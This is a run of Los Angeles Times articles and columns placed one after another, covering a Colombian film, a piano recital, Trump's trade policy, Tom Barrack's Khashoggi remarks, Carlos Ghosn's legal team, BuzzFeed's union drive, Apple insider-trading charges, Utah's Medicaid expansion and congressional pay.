Gallego is a longtime producer  she has a dozen, mostly Latin American films to her credit  and has served as producer on all of Guerras Spanish-language films, including Serpent and his earlier The Wind Journeys, a critically acclaimed odyssey about a troubadours trek to return a cursed accordion.

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The storylines in Birds of Passage inspired her to join Guerra, her longtime collaborator (and former romantic partner), on the directors perch, some of it motivated by the perspective she could bring to the project.

All of these stories are generally stories told by men, she says. And stories told by men are stories of how many dead, and how many cars did they have, and how many weapons, and how many women. The stories that have not been told are that of the women.

In Birds of Passage, major narrative threads feature strong women: Zaida, whose marriage to Rapayet, now a rising smuggler, proves fateful; her daughter, Indira, who must contend with the violent legacy she inherits; and Ursula, Zaidas mother, and the powerful family matriarch (played by the fierce Carmina Martinez), who tells Rapayet, when he comes courting: Im capable of anything for my family and my clan.

Its a film about the clash between feminine thought and masculine actions, adds Gallego. Its about the clash between the rational world and the intuitive, between tradition and wild capitalism.

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The stories that have not been told are that of the women: Birds of Passage co-director Cristina Gallego, left, with co-director Ciro Guerra. (Kent Nishimura / Los Angeles Times)

ALSO: How foreign directors are flipping the script on Hollywood story ideas 

Birds of Passage is inspired by events that took place in Colombia in the 1960s and 70s. It was the days before Escobar and before cocaine. When Wayuu families in La Guajira began to traffic in marijuana, their remote desert outpost was an ideal place in which to land the small aircraft that could easily move the merchandise to its final destination: the United States.

The Bonanza Marimbera, as this early marijuana boom is called, marked the earliest days of the drug trade in Colombia. But it has received little in the way of coverage  and thereby artistic treatment.

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Youll find little on the internet, says Guerra. In the end, there are like five books on the subject: two novels, a journalistic account and two academic theses.

Its not a really known period in history even though it affected the country in a large way, Gallego says. Many people were involved in the business of the Bonanza Marimbera through money laundering or other types of business.

The trade was so profitable that Wayuu smugglers often built massive European-style McMansions for themselves in the desert; local banks didnt count money, finding it easier to weigh it instead.

Its like a secret history  a history that many people had something to do with, but that remains this unspoken past, Gallego says. The film was an attempt to confront this taboo.

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Jose Vicente Cotes as the palabrero and Jose Acosta as Rapayet in Birds of Passage. (Mateo Contreras / The Orchard)

While the Bonanza was real, the characters and stories in Birds of Passage are fictional. Rapayet, intent on marrying Zaida, has to produce a dowry he doesnt have. Already trafficking in booze, he turns to marijuana to help come up with the 30 goats, 20 cows and five necklaces he will need to wed the young woman. A one-time trafficking operation, however, turns into a profitable habit  a habit that comes with escalating levels of violence against a related clan, all governed by a strict code of honor and revenge.

Wayuu journeys

Gallego and Guerra began thinking about making a movie on the Bonanza Marimbera about a decade ago, when they were working on The Wind Journeys, shot partly on location in La Guajira.

I was making a movie about music, recalls Guerra, and people would tell me that the Bonanza Marimbera was more interesting.

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But trying to shoot an entire feature in a remote region was going to be expensive. Moreover, the Wayuu have not always been especially welcoming to outsiders. Its a very remote and arid territory, and it is Wayuu because they havent let others enter, Guerra says. Not the Spanish, not pirates, not the government  nobody.

But Wind Journeys gave him contacts in the area. And the success of Embrace of the Serpent made raising funds for a feature possible. (Birds of Passage cost $2.8 million to make  expensive for a Latin American indie, which generally run less than $1 million.)

None of this means the movie was easy to make. For one, aside from the films leads, most of the actors were not professionals but individuals drawn from the community (including at least one former smuggler). Some participants demanded the filmmakers make a sacrifice before filming could begin. Others wouldnt participate after foreboding dreams.

The fictional Pushaina clan, an indigenous family drawn into the drug trade in Cristina Gallego and Ciro Guerras Birds of Passage. (Mateo Contreras / The Orchard)

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ALSO: Worlds collide in the poetic Colombian film Embrace of the Serpent 

Plus, there were the elements. For two weeks during the shoot, they contended with dust storms. Later, an engorged river broke free of its course and flooded their location. As they prepared to shoot a climactic scene, rain and an electrical storm damaged the elaborate mansion set they had built.

This was after six years without rain, says Guerra. Six years.

In some of the films later scenes, a literal black cloud hovers over the horizon. There were days when the directors wondered if theyd finish the film.

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There was a moment in which I went to a local priest and he told me, If you are still filming, its because they are helping you,  Gallego says. La Guajira is the kind of place that banishes so many people.

But all the challenges, she notes, only made the film stronger.

Certainly, the environment and the deeply spiritual nature of Wayuu culture resulted in a singular story. The film isnt told in three acts, but in five cantos, a nod to the oral traditions of the Wayuu (not to mention Greek tragedy). And in many ways, the languid pace of the film evokes that of an epic poem.

Birds make mysterious appearances. Dreams govern actions. The bones of ancestors are ceremoniously exhumed. Characters sleepwalk through an existence that leads them to a preordained fate. If it sounds like a story by Garcia Marquez, its because it could have been  the novelist was known for drawing from Wayuu culture for his magical realism. His short story The Incredible and Sad Tale of Innocent Erendira and Her Heartless Grandmother is set in La Guajira.

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Ultimately, Birds of Passage is a way of tackling Latin American history with a distinctly Latin American lens.

So much cinema on the drug trade has been exploitative; it has ended with the glorification of criminals and assassins, says Guerra. There has been no responsibility in the way history is told.

We wanted to tell the story as a tragedy, Gallego adds, because for our society thats what it has been.

In ways both dreamlike and surreal, the filmmakers find a way of telling a story about the very real destruction the drug trade has wrought.

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Birds of Passage

Rated: Not rated

Running time: 2 hours, 5 minutes

Playing: Laemmle Royal, 11523 Santa Monica Blvd., Los Angeles

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carolina.miranda@latimes.com | Twitter: @cmonstahIt was not the first time the Marino Formenti seemed to stage his own death at the keyboard. Nor was it the first time the Italian pianist and new-music specialist has mixed early and modern music.

Formentis done that in Monday Evening Concerts recitals and at the Ojai festival. Hes done the lots-of-little-pieces-from-all-over-the-map bit before as well. Hes been admired as much for working himself into a hallucinatory trance as he has for playing with pouncing violence and sublime tenderness.

This time, for a draining Monday Evening Concerts recital, though, Formenti finally let the cat out of the bag, or more accurately, he put the cat in a bag from which it would never escape. Calling his program at Zipper Concert Hall on Monday Ma Mort, Formenti summoned many classic signs of dying  be they denial, confusion, anger, loneliness, hyper-awareness, withdrawal, acceptance, peace, bliss  as he alternated between the Baroque era and our own.

Without the aid of program notes or explanations, I think that was what Formenti was up to in the 25 short pieces. The direction of the evening was toward the penultimate piece, Meditation sur ma Mort Future (Meditation on my Future Death), a mournful allemande from a keyboard suite by the visionary 17th century composer Johann Jakob Froberger. It is a dance movement with shocking harmonic turns of phrase and little sense of rhythmic regularity, nothing youd actually want to dance to.

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But what was shocking about Formentis performance was the extent to which he removed the chromatic sting of Froberger, a pianist normally celebrated for his ability to startle. Formenti underplayed all in the music that had been meant to alarm. The result was a profound sense of acceptance that could come about only after a good deal of nonstop disconcertment in downright startling performances of the 23 pieces that preceded Frobergers  and Formentis  Ma Mort. Indeed, by this point it had become impossible to distinguish between composer and pianist.

Formenti began the two-part program by segueing between meditative movements by the Italian Baroque composer Girolamo Frescobaldi (who had been Frobergers teacher), and ones written three centuries later by the contemporary Italian composer Salvatore Sciarrino, whose music tends to inhabit the ambiguous edges of sound and silence and of what is conventionally felt to be differences between noise and music. Sciarrinos dust-to-dust Polveri Laterali (Side Powder), with the piano mimicking the tinkling bells at its highest register and the tolling of them at its lowest, somehow seemed to keep ringing into Frescobaldis depressing madrigal, Ancidetemi Pur (Do Kill Me).

Kill me do, indeed. It didnt take long for Formentis performances to feel like an audio Rorschach test, with each piece calling forth an aspect of dying. The journey was not linear, as I imagine dying isnt necessarily, but rather delusional, especially given the concentration and physical intensity of Formentis playing.

About 90% of his playing is out-of-body, and that can mean deadly force in a sonata by the Galina Ustvolskaya or a dreamy Bach adagio during which Formenti turned away from the audience and toward the stage behind him. By this point, he was Marino in the Underworld, an Orpheus looking at his Eurydice and knowing that his goose was now cooked for good.

Wolfgang Rihms Klavierstuck No. 7 became a temper tantrum, with Formenti stamping his feet as his hands manically covered every inch of the keyboard. He ended the first part by tenderly moving right along a sequence of unrelated chords in an excerpt from John Cages ASLSP (which stands for as slow as possible), but then adding distracted hesitation to Louis-Nicolas Clerambaults Fort Tendrement (Very Tenderly).

Much of the second half of the evening was devoted to pairing Bach with the Gyorgy Kurtag, the Hungarian miniaturist who is in his 90s. Here, Formentis Bach could be insistently heavy, like labored breathing, while his Kurtag sounded like fanciful flourishes, visions.

The climax was Ustvolskayas Sonata No. 6, which Formenti played with spectacular fury of an inmate strapped to an electric chair, the current coursing through his body, death throes raging from head to toe. Once the fight was lost, the struggle over, Frobergers underplayed Ma Mort, in which notes and harmonies bled into each other like heavy oils with no contours, the soul left the body.

Then in John Lennons Oh My Love, which in Formentis arrangement and utterly unworldly playing, was the unheard voices of loved ones saying goodbye from a now distant land.

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mark.swed@latimes.comOn the face of it, self-declared socialist Alexandria Ocasio-Cortez and President Trump have little in common when it comes to economic policy. Hes been cutting taxes. She wants the rich to pay more. He wants more coal-fired power plants. She has plans for a Green New Deal.

And then theres trade.

Trump has lately taken to declaring himself the bulwark of American free enterprise against a socialist onslaught personified by the headline-grabbing phenomenon that is Ocasio-Cortez. But on trade, many analysts point out, Trump behaves more like a state-interventionist than a laissez-faire guy. And he has more in common with the New York congresswoman, who like many progressive Democrats argues for stronger trade rules to protect American jobs, than with the standard-bearers of his own Republican Party.

Nobodys arguing that Trump or his trade policy meet the dictionary definition of socialism, with its all-encompassing embrace of state planning. But what about a lite version, which demands a greater role for the state in managing trade flows and intervening in corporate decisions?

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Its undoubtable that U.S. trade policy in the last two years has moved toward that type of socialism, says Scott Lincicome, a scholar at the libertarian Cato Institute and one of the most voluble critics of Trumps trade policy on social media.

In his State of the Union address last week Trump declared that America was founded on liberty and independence, and not government coercion, domination and control. That glossed over the coercion deployed by the president himself and his trade hawks in the name of fixing what they see as a broken international order.

Trump has harangued companies in a way few American presidents have matched, telling them to invest more in the U.S. and keep plants open instead of sending operations offshore.

Hes also reached deeper inside the boardroom than recent U.S. governments have been comfortable doing. Writ large, his trade war with China is designed in part to force corporations to rethink  and preferably repatriate  supply chains that run through the United States biggest economic rival.

Outside protected industries like steel, big business has consistently dismissed Trumps tariffs as an act of economic self-harm  though its wider attitude toward the trade talks isnt always so clear-cut. Much as they bristle at intervention in their own affairs, many companies happily support the use of American state power to export strict intellectual property laws and pry markets open.

Trump is not carving out a bigger role for government just in the U.S. Hes effectively doing the same in China, sometimes in the same breath as demanding the opposite.

In the current talks, for example, Trump is pushing for structural changes aimed at encouraging China to behave more like a market economy. But hes also insisting on more Chinese purchases of U.S. goods, everything from soybeans and natural gas to airplanes. Thats tantamount to a bigger role for the Chinese state and the companies it owns, which are among Trumps targets.

The level of hypocrisy is breathtaking, says Mary Lovely, an economics professor at Syracuse University. Worse, the Chinese have no trouble with that  because theyre a socialist market economy.

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Trumps micromanaging of trade flows extends far beyond China.

South Korea evaded his steel tariffs last year by agreeing to an elaborate system of product-specific quotas, something Trump has been pushing other allies to sign up to as well.

New auto tariffs under consideration are designed to make foreign companies invest more in U.S. factories. European and Japanese officials privately express concerns that the administration wants to force them into strict quotas, which could be more burdensome and harder to unwind than tariffs. Or that the U.S. will insist on extending rules, like those included in the renegotiated North American Free Trade Agreement, that mandate more production in North America and set specific wage requirements.

We libertarians think everythings socialist, Lincicome says. But Trumps accumulating record on trade amounts to extensive economic planning, he says. Its not what companies would do in an open-market situation.

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Even defenders of Trumps broader strategy for the economy struggle with his approach to trade. Stephen Moore, a campaign advisor to the president and coauthor of the book Trumponomics, says hes repeatedly quarreled with Trump over steel and aluminum tariffs.

Its just not good economic policy, Moore says, though hed prefer to label the presidents approach to trade as mercantilism rather than socialism.

Either way, Moore is willing to throw out the free-market playbook when it comes to dealing with China. Im all for that, he says. This is the fight of our lifetime, and we cant afford to lose.

And Moore points out that, in his approach to China, Trump displays a healthy respect for some key capitalist metrics. Which is why recent tremors among global investors, who fear an all-out trade war, have driven the president toward a deal. He likes a good stock market, Moore says.Los Angeles financier Thomas J. Barrack Jr., a billionaire with long ties to the Mideast and a close ally of President Trump, apologized Wednesday for saying it was a mistake to criticize the murder of Jamal Khashoggi, the journalist killed at a Saudi Arabian consulate last year.

Barrack, founder and chief executive of Colony Capital Inc., first said at a Milken Institute summit in Abu Dhabi on Tuesday that whatever happened in Saudi Arabia, the atrocities in America are equal or worse to the atrocities in Saudi Arabia.

The atrocities in any autocratic country are dictated by the rule of law, Barrack said. So for us to dictate what we think is the moral code there, when we have a young man and a regime thats trying to push themselves into 2030, I think is a mistake, he said in an apparent reference to Saudi Crown Prince Mohammed bin Salman, the kingdoms 33-year-old de facto ruler.

After Barracks comments were reported, first by Gulf News, Barrack  whose firm has joined with Qatar and other Persian Gulf investors in the past, and reportedly Saudi investors as well  quickly backtracked by issuing a statement that the killing was atrocious and is inexcusable.

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I apologize for not making it clear at the time that I consider the killing reprehensible, Barrack said.

Barracks comments drew criticism from celebrities, political commentators and elected officials, including Rep Ted Lieu (D-Torrance), who asked on Twitter why Trump chooses to surround himself with people like Tom Barrack who put down the U.S.? Conservative commentator Bill Kristol tweeted that the remarks show Trumpism blows out the moral lights around us and insists there is no right principle of action but self-interest.

Khashoggi, an insider-turned-critic of the Saudi ruling regime, was killed and dismembered by people close to the crown prince at Saudi Arabias consulate in Istanbul after he entered to pick up documents, Turkish authorities allege.

Saudi Arabia has said the crown prince was not aware of any plan to kill Khashoggi, although the U.S. intelligence community concluded that he probably ordered the killing.

The killing sparked a crisis in U.S.-Saudi relations after Trump built his Middle East strategy around an alliance with the kingdom. Saudi Arabia was the first nation Trump visited after taking office in 2017 and he frequently touted U.S. weapons sales to the Saudis that were brokered during his trip.

The death of Khashoggi, a U.S. resident who wrote for the Washington Post, sparked outrage internationally and in Congress, where even top Republican leaders such as Sen. Lindsey Graham of South Carolina broke with the president and pushed to sanction the kingdom.

The 71-year-old Barrack  who has a net worth of $1 billion, according to Forbes  has been friends with Trump for the last three decades and he planned the presidents inauguration in early 2017.

Barracks Los Angeles-based Colony Capital is a publicly held investment firm with $44 billion of assets under management that often bets on distressed assets. In 2008, for instance, Colony bailed out Michael Jackson when the late singers Neverland Ranch was on the brink of foreclosure.

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The grandson of Lebanese Christian immigrants, Barrack also has busines ties to the Mideast  and a deep knowledge of its politics and cultures  dating to the early 1970s, when as an attorney he worked on a project in Saudi Arabia and then spent the next four years there as an advisor to the royal family.

At Colony Capital, Barrack also has tapped various Mideast investors to help fund the firms operations.

With partners from Qatar, Barrack was part of an investment group that bought Miramax Films in 2010, later selling the studio to investors in Qatar. However, his dealings with the Gulf State have been complicated by a blockade of Qatar started in 2017 by Saudi Arabia and the United Arab Emirates.

More recently, Barrack has done deals with sovereign wealth funds in Saudi Arabia and the Emirates, according to published reports. Colony typically does not disclose investors in its funds and declined to comment Wednesday.

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Between Trumps nomination and mid-2018, Colony raised more than $7 billion in investments and 24% of that money came from the Persian Gulf, all from either Saudi Arabia or the United Arab Emirates, the New York Times reported last year.

However, Colony has had financial problems of late in the aftermath of its merger with the NorthStar asset management and real estate finance firms in early 2017.

Colonys earnings have dropped, and its stock has plummeted from about $14.50 a share two years ago to a close of $6.07 on Wednesday. Barrack resumed his role as Colonys chief executive last November to help Colony bolster its performance; hes also the firms executive chairman.

On Monday, Colony also announced that it was forming a committee to evaluate the companys assets and make recommendations for any changes to the firms operations.

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Barrack spoke Tuesday at the Mena Summit in Abu Dhabi, which was organized by the Milken Institute, a Santa Monica think tank founded by financier Michael Milken.

Bloomberg contributed to this report.Carlos Ghosn replaced his legal team in Tokyo as he prepares for a trial on the financial-misconduct allegations that have shocked the global car industry and kept the former Nissan chairman in jail for almost three months.

Ghosn said Wednesday he hired Junichiro Hironaka to be his new lawyer and help him with the trial phase of his case. The outgoing lawyers, including former local prosecutor Motonari Otsuru, said they notified the court they no longer will represent Ghosn.

The fallen executive is trying to step up his defense from behind bars after Otsurus team failed several times to win bail for him since his Nov. 19 arrest. The scandal has already cost Ghosn his leadership positions at Nissan and partner Renault, and prosecutors say his alleged financial crimes could put him in prison for as many as 10 years. Ghosn has denied wrongdoing.

As we begin the trial phase, I have decided to engage Hironaka-sensei as my legal counsel, Ghosn said in a statement. I look forward to defending myself vigorously, and this represents the beginning of the process of not only establishing my innocence but also shedding light on the circumstances that led to my unjust detention.

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Hironakas career includes a successful defense of Atsuko Muraki, a former senior bureaucrat, against corruption charges. He also represented people forced to flee their homes in the Fukushima region after the 2011 nuclear disaster, according to the Asahi Shimbun newspaper.

Hironaka is a graduate of the University of Tokyo. Unlike Otsuru, he hasnt worked as a prosecutor, entering private practice after obtaining his law license in 1970, according to his law firms website.

Hironaka is the type of lawyer who will thoroughly fight the prosecutors charge, and hes been able to win acquittals in many big cases, said Nobuo Gohara, a lawyer and former prosecutor in Japan who isnt connected to the case. The chances of an acquittal are considerably higher.

The defense team also includes Hiroshi Kawatsu from the Kasumigaseki-Sogo Law Offices, Hironakas representatives said.

Ghosn, indicted for allegedly understating his income at Nissan by tens of millions of dollars, is awaiting a trial that could be months away. Ghosns aide and former Nissan representative director Greg Kelly, who was arrested the same day as the ex-chairman, is out on bail in Tokyo.

I would like to thank Otsuru-sensei and his team for their tireless and diligent work and courage during the interrogation phase of my incarceration, Ghosn said, using a Japanese honorific title associated with lawyers. Otsuru-sensei is a very capable and intelligent man and lawyer.

Ghosn has been accused of filing false statements to regulators regarding income from Nissan deferred until retirement  a total of about $80 million. Hes also been charged with aggravated breach of trust for acts including temporarily transferring personal investment losses to Nissan in 2008.

The time behind bars has taken its toll on Ghosn. A citizen of three nations who jetted frequently among the alliances global offices, he appeared in public for the first time on Jan. 8 looking gray and gaunt, and he was led into a courtroom in handcuffs and with a rope tied around his waist.

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Its not uncommon in Japan for suspects to endure lengthy pretrial detentions. Suspects often are re-arrested on suspicion of new charges to keep them in custody while prosecutors attempt to build a case, and bail is the exception more than the rule.

Legal experts say this is all a strategy to extract a confession and make a trial easier. In Ghosns case, the judge at a Jan. 8 hearing said his continued detention was due to flight risk and the danger of witness or evidence tampering.BuzzFeed Inc.s journalists, reeling from a round of layoffs, have decided to unionize, organizers announced Tuesday, demanding that their employer recognize the union immediately.

About 90% of workers supported the decision to join NewsGuild, a labor union thats part of the Communications Workers of America, BuzzFeed News reporter Salvador Hernandez said on Twitter.

BuzzFeed News Editor-in-Chief Ben Smith said in an emailed statement: We look forward to meeting with the organizers to discuss a way toward voluntarily recognizing their union.

BuzzFeeds move last month to eliminate 15% of its workforce gutted several parts of its newsroom, including the national desk and the healthcare news desk. After the layoffs, employees took to Twitter and Medium to criticize the companys failure to pay all dismissed workers for accrued time off. Eventually BuzzFeed management relented and agreed to pay for the accrued time off.

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The cutbacks were part of a wave of media layoffs along with Verizon Communications Inc.s HuffPost division and Gannett Inc.s newspapers, as publishers continue to struggle to find profitable business models.

The tumult has led journalists at several outlets to opt for collective bargaining. Employees at Mashable, Vice Media and Gizmodo Media Group have all voted to join unions in the last couple of years, and although that hasnt prevented layoffs, it has in some cases cushioned the blow. Unionized journalists at HuffPost, for example, were reportedly entitled to at least two months of severance pay because of their collective bargaining agreement.

The Los Angeles Times journalists joined NewsGuild in 2018.

As other digital newsrooms voted to unionize, BuzzFeed founder Jonah Peretti told employees that they didnt need a union or the often adversarial relationship with management that follows. I dont think a union is right for BuzzFeed, he told employees in 2015.

Pressure has been mounting on BuzzFeed to generate more revenue after missing its sales goal in 2017. Although the company had more than $300 million in revenue last year and claims an audience of more than 650 million people, it was still unprofitable, according to two people familiar with the companys finances who were not authorized to comment.

Times staff writers Lauren Raab and Wendy Lee contributed to this report.At Apple Inc., former top lawyer Gene Daniel Levoff was responsible for making sure employees didnt violate insider-trading laws. It turns out he was the one illegally buying and selling shares, according to U.S. authorities.

Levoff, who until last year was Apples senior director of corporate law, traded on advance knowledge of revenue-and-earnings figures multiple times dating back to 2011, the Securities and Exchange Commission and federal prosecutors said Wednesday. The illegal investments led to about $227,000 in profits while enabling him to avoid $377,000 in losses, according to the U.S. attorneys office in Newark, N.J., which filed criminal charges against Levoff.

For instance, in July 2015, Levoff learned that Apple wouldnt meet analysts third-quarter forecast for iPhone sales, the SEC said in a related civil complaint. That month, he sold about $10 million of Apple stock  virtually all of his holdings. When the company reported earnings, its shares dropped more than 4%. Levoff avoided losing about $345,000, the SEC said.

Levoffs attorney, Kevin Marino, said he is reviewing both the SECs civil complaint and the criminal charges. He said Levoff is slated to appear in federal court next week.

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We look forward to defending him with respect to these allegations, Marino said.

The allegations are an embarrassment for Apple, which is now reviewing policies it has implemented to prevent illicit share transactions. The company has had a mostly clean record on financial reporting issues since allegations of options backdating in the mid-2000s.

For someone inclined to trade illegally, the SEC said, Levoff was well-placed. As a member of Apples disclosure committee, he got to review quarterly and annual reports and press statements before their public release. The alleged misconduct was relatively simple for someone who worked at a cutting-edge technology giant. Levoff would read through internal documents he obtained as a member of Apples disclosure group and make trades in a TD Ameritrade brokerage account, prosecutors said.

Levoffs alleged exploitation of his access to Apples financial information was particularly egregious given his responsibility for implementing the companys insider-trading compliance policy, Antonia Chion, an associate director in the SECs enforcement division, said in a statement.

Apple fired Levoff in September after placing him on leave two months earlier, according to the SECs filing. Over his decadelong career at Apple, he was one of the companys most senior executives, reporting directly to the companys general counsel.

After being contacted by authorities last summer, we conducted a thorough investigation with the help of outside legal experts, Apple spokesman Josh Rosenstock said in a Wednesday statement.

Levoff was responsible for ensuring that employees complied with Apples insider-trading policy, and implemented an update of the procedures in 2015, the SEC said. He even sent an email to workers in 2011 reminding them in all capital letters that they werent permitted to trade shares based on non-public information.

The SEC is seeking monetary penalties and a prohibition on Levoff serving as an officer or director of a public company.It has become obvious over the past few years that the Affordable Care Act has the power to cloud Republicans minds.

But few are as befuddled as the legislature and governor of Utah, who just enacted a partial expansion of Medicaid under the ACA that will cover 60,000 fewer residents while costing the state more than full expansion.

Whats more, the measure represents flagrant defiance of the peoples will. At the November polls, Utahans approved a full expansion of Medicaid by a solid 53%-47% vote.

I do not accept the characterization that SB 96 ignores the will of the people, Gov. Gary Herbert said of the bill that superseded the November initiative. I see this as a thoughtful effort to implement the will of the people.

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Sure it is. Lets look briefly at the differences. The ballot initiative approved the expansion of Medicaid to residents earning up to 138% of the federal poverty limit. Thats the target population of Medicaid expansion under the ACA  $34,638 this year for a family of four.

SB 96 expands Medicaid only for residents earning up to 100% of the poverty limit, or $25,100 for a family of four.

Full expansion would have covered about 150,000 residents; partial expansion will cover only about 90,000. But it is expected to cost the state $49 million more in its first two years. Thats because the ACA provides for the federal government to cover 90% of the cost of full expansion as of 2020, but will pay only 68% of the cost of partial expansion.

The Utah bill also includes some other noxious features, including a work requirement for Medicaid enrollees and a cap on enrollment if costs rise beyond legislative appropriations. Utah is hoping to obtain a waiver from the Trump administration providing the full 90% match for its half-baked expansion.

I do not accept the characterization that SB96 ignores the will of the people. Utah Gov. Gary Herbert

The Utah bill is a repudiation of a trend that emerged in the November election, when voters there and in Idaho and Nebraska approved Medicaid expansion. Voters in Kansas and Wisconsin elected governors who pledged to reverse their predecessors refusal to expand Medicaid, and voters in Maine elected a governor who promptly reversed the refusal of outgoing GOP Gov. Paul LePage to implement an expansion that had been passed by that states voters in 2017.

The pushback against the popular will could spread. According to David Anderson of Duke University and Adrianna McIntyre of the healthcare blog The Incidental Economist, GOP regimes in Tennessee and Georgia are keeping an eye on Utahs negotiations with Trump officials in the hope of implementing the same partial rollout.

Lets take a closer look at the Utah plan and its implications for low-income residents.

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Voters in three states opted in November to expand Medicaid and elected pro-expansion governors in three others. (Kaiser Family Foundation)

The plan allows residents with household income falling between 100% and 138% of the federal poverty limit to obtain health coverage via the ACAs insurance exchange, which will allow them to collect the ACAs federal premium subsidy.

As Anderson and McIntyre observe, this provision takes advantage of an unfixed drafting error in the Affordable Care Act, which set Medicaid eligibility at up to 138% of the poverty line but also established eligibility for the premium subsidy at 100% of the line. That didnt matter much, originally, because the ACA made Medicaid expansion mandatory and enrollment in the program automatic for those earning less than 138% of the poverty line.

In 2012, however, the Supreme Court made the expansion optional; 14 red states still havent approved it. That turned the drafting glitch into something of a lifeline for an estimated 2 million residents of those states whose incomes fell in the 100%-138% window and therefore could obtain subsidized coverage.

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But Anderson and McIntyre point out that from the enrollees standpoint, Medicaid and subsidized coverage arent equivalent  and for many low-income households, Medicaid is better, in part because it provides better financial protection by limiting maximum out-of-pocket spending to 5% of income, compared with limits of 10% of more for ACA plans. Medicaid offers other benefits not seen in health plans, such as non-emergency medical transportation, to assist beneficiaries in getting to their medical appointments.

The main benefit of partial Medicaid expansion is to the budgets of states that opt to pursue it, because theyre effectively shunting the cost of covering the population earning between 100% and 138% of the poverty line to the federal government, which pays for the premium subsidies. But theyre still paying more to cover the population earning 100% or less than they would if they fully expanded Medicaid, since the federal match for Medicaid patients would be lower.

Whether Utah can obtain the federal waiver it seeks, raising the federal match to the full 90% for its partial expansion, is unclear. The Obama administrations position was that the ACA did not allow for partial expansion to be covered by the full match. (The federal match for expanded Medicaid actually was 100% in 2014-16, declining to 90% afterward starting in 2020; but for Utah and other resistance states, the 100% train has left the station.)

The Trump White House, however, has been much more indulgent of state proposals that would undermine Medicaid, including through the imposition of work requirements and premiums. Federal judges generally have frowned on some of those waiver requests, but the efforts continue.

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The Utah legislature and governor have reserved for themselves a relief valve, in case federal officials turn down their request for the higher match; if that happens, theyll revert to full expansion.

But that just raises the question of why theyre bothering with a half-measure. Theres no rational reason for a plan that deprives 60,000 otherwise eligible residents of Medicaid coverage, at a higher cost to the state  none except the blinding influence of anti-Obamacare ideology. Utahs voters decided in November to shed those blinders; why are their elected representatives still wearing them?

Keep up to date with Michael Hiltzik. Follow @hiltzikm on Twitter, see his Facebook page, or email michael.hiltzik@latimes.com.

Return to Michael Hiltziks blog.Followers of the business and political career of Sen. Rick Scott (R-Fla.) know that the multimillionaire can be counted on constantly to plumb new depths of cynicism. Thats the context against which a proposal he introduced this week to cut congressional pay should be viewed.

Scotts proposal, introduced with Sen. Mike Braun (R-Ind.), is to eliminate congressional pensions. As Scott put it in a tweet Tuesday, Americans shouldnt have to foot the bill for generous salaries and pensions for members of Congress. He said his bill would help to make DC work for all families.

Scotts proposal has a sort of superficial allure. The popular image of senators and members of Congress is of lazy good-for-nothing slobs snarfing greedily from the public trough. (Im not saying that there arent some members who fit the description.) Its certainly true that the spectacle of lawmakers collecting their paychecks while presiding over a government shutdown that deprived some 800,000 federal workers of theirs didnt improve the reputation of our political leadership.

Im stuck here making $172,000 a year. Former Rep. Phil Gingrey (R-Ga.)

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But theres a hypocritical subtext to the proposal by Scott and Braun that needs to be brought to the surface.

The truth is that reducing compensation for federal legislators would make Congress immeasurably worse. It would become even more of a club for plutocrats than it is now by making it harder for those with modest resources to run for and stay on Capitol Hill. Scott intends, in other words, to make the Senate and the House safer for people exactly like him.

Who needs more people like Rick Scott in the Senate? (More on that in a moment.)

I last wrote about congressional pay in 2013, during a previous government shutdown in which federal workers were going without pay while members of Congress were held harmless. A couple of tin-eared lawmakers were quoted at the time bemoaning their tough lifestyles. Rep. Lee Terry (R-Neb.) was quoted saying that he wouldnt give up his paycheck in the shutdown because Ive got a nice house and a kid in college, and Ill tell you we cannot handle it. Phil Gingrey (R-Ga.) was overheard grousing that while his staffers could hop to a lobbying job and make $500,000, Im stuck here making $172,000 a year. (Actually, $174,000.) Gingrey later joined a lobbying firm, by the way.

This morning I co-sponsored a bill to end congressional pensions with @SenatorBraun.



Americans shouldn't have to foot the bill for generous salaries and pensions for members of Congress, and Im proud to be working on common sense solutions to make DC work for all families. https://t.co/MIejXxcT7W  Rick Scott (@SenRickScott) February 12, 2019

Notwithstanding their crass words, the truth then, as now, is that decent pay is necessary both to attract people from all walks of life into congressional service and to limit their temptation to jump to lucrative lobbying jobs (after perhaps greasing their path to the big bucks by doing favors for their future employers).

I quoted the insight of financial commentator Susan Webber, who writes under the pseudonym Yves Smith: If you pay cops terribly, youll get cops who take bribes. If you pay members of Congress or regulators way less than first-year law school graduates in large New York or D.C. law firms, youre going to get members and regulators who take bribes. If you cut health care subsidies for Congressional staff, youll get lobbyists writing the laws.

If you want to see how this works, check your tax refund this year. Republicans in Congress made sure that the tax cut they enacted in December 2017 went chiefly to members of their class and the plutocrats they serve. They talked about the tax cut being all about giving the middle class a benefit, but they were blowing smoke. In 2027, when the tax changes will have been in place for a decade, the top 1% will be reaping 83% of all the tax cuts; the bottom 60% will actually be paying higher taxes. The rich got theirs, in other words; too bad about you.

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Scotts rhetoric feeds the notion that senators and House members are lavishly paid and enjoy unimaginable perks. Theres just enough truth in the notion to make it hard to contradict, but the story is more complicated. Lets run through the numbers.

First, the salary of rank-and-file members is $174,000. Members of congressional leadership get more, up to $223,500 for the speaker of the House.

Is this a lot? A little? Too much? The basic salary is just under three times the median U.S. income of $62,175. Some lawmakers complain that they have expenses not common to the average family, including the need to maintain a separate residence in Washington if their home isnt nearby  thats why some end up with roommates or even bed down in their Capitol Hill offices.

The lawmakers also get expense allowances to cover Washington and district offices and staff, travel to and from their home districts, mail and other office expenses. These are generally based on factors such as the distance between Washington and home and the population of their states (for senators). These allowances average about $1.3 million a year for House members and $4.24 million for senators.

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Popular mythology holds that legislators are exempt from Social Security and the requirements of the Affordable Care Act. I know this because every time I write about these programs, readers inundate me with emails suggesting that the programs would work better if members of Congress had to join them.

Theyre not exempt. Senators and House members have had to pay into Social Security since 1984; in some cases, their pension payouts are reduced by a portion of their Social Security benefits, a common feature of private-sector defined benefit pensions.

They and their staffs also are required to get their health coverage through the ACA, even though Obamacare was not designed to cover most employed workers. (Congressional Republicans insisted on transferring lawmakers and staffers out of the existing health plans for federal employees and into Obamacare, which necessitated making special arrangements so that the traditional employers share of premiums could still be paid for them.)

What about pensions, which Scott implies are so generous? Lawmakers dont vest in their pensions until theyve served five years, though some can count prior or subsequent federal employment in their service calculation. At that point they can retire at age 62. Members are eligible for a pension at age 50 if theyve completed 20 years.

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Those elected in 2013 or later contribute up to 4.4% of their pay toward their pension. According to the Congressional Research Service, 335 former members of Congress who served prior to 1984 and retired under a pre-1984 pension plan were receiving an average annual pension of $74,028 as of 2016, but they werent collecting Social Security.

